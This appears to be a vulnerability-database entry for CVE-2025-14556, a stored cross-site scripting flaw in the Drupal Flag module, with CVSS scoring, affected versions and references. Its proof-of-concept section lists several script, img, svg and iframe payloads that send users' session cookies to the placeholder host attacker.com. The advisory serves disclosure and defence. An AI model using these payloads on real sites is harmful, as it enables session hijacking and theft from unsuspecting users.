CVE-2025-14556

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Drupal Flag allows Cross-Site Scripting (XSS).This issue affects Flag: from 7.X-3.0 through 7.X-3.9.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:flag_module_project:flag:*:*:*:*:*:drupal:*:* - VULNERABLE

Drupal Flag 7.X-3.0

Drupal Flag 7.X-3.1

Drupal Flag 7.X-3.2

Drupal Flag 7.X-3.3

Drupal Flag 7.X-3.4

Drupal Flag 7.X-3.5

Drupal Flag 7.X-3.6

Drupal Flag 7.X-3.7

Drupal Flag 7.X-3.8

Drupal Flag 7.X-3.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14556 Drupal Flag XSS PoC -->
<!-- This PoC demonstrates the stored XSS vulnerability in Drupal Flag module -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14556 PoC</title>
</head>
<body>
    <h1>CVE-2025-14556: Drupal Flag Module Stored XSS</h1>
    
    <h2>Attack Vector:</h2>
    <p>1. Attacker with low privileges creates a malicious flag with XSS payload</p>
    <p>2. The malicious script is stored in the database</p>
    <p>3. When other users view content with this flag, the XSS executes</p>
    
    <h2>XSS Payload Example:</h2>
    <pre>
&lt;script&gt;
    // Steal session cookies
    document.location='https://attacker.com/steal?cookie='+document.cookie;
&lt;/script&gt;
    </pre>
    
    <h2>Alternative Payloads:</h2>
    <pre>
&lt;img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"&gt;

&lt;svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))&gt;

&lt;iframe src="javascript:fetch('https://attacker.com/steal?c='+document.cookie)"&gt;
    </pre>
    
    <h2>Notes:</h2>
    <ul>
        <li>Affected versions: Drupal Flag 7.X-3.0 to 7.X-3.9</li>
        <li>Requires authenticated user with flag creation permissions</li>
        <li>Victim needs to view content containing the malicious flag</li>
    </ul>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14556
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14556
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14556/
[4] VulDB https://vuldb.com/cve/CVE-2025-14556
[5] https://d7es.tag1.com/security-advisories/flag-moderately-critical-cross-site-scripting-backdrop-sa-contrib-2025-011
[6] https://www.herodevs.com/vulnerability-directory/cve-2025-14556

Raw JSON Data

JSON

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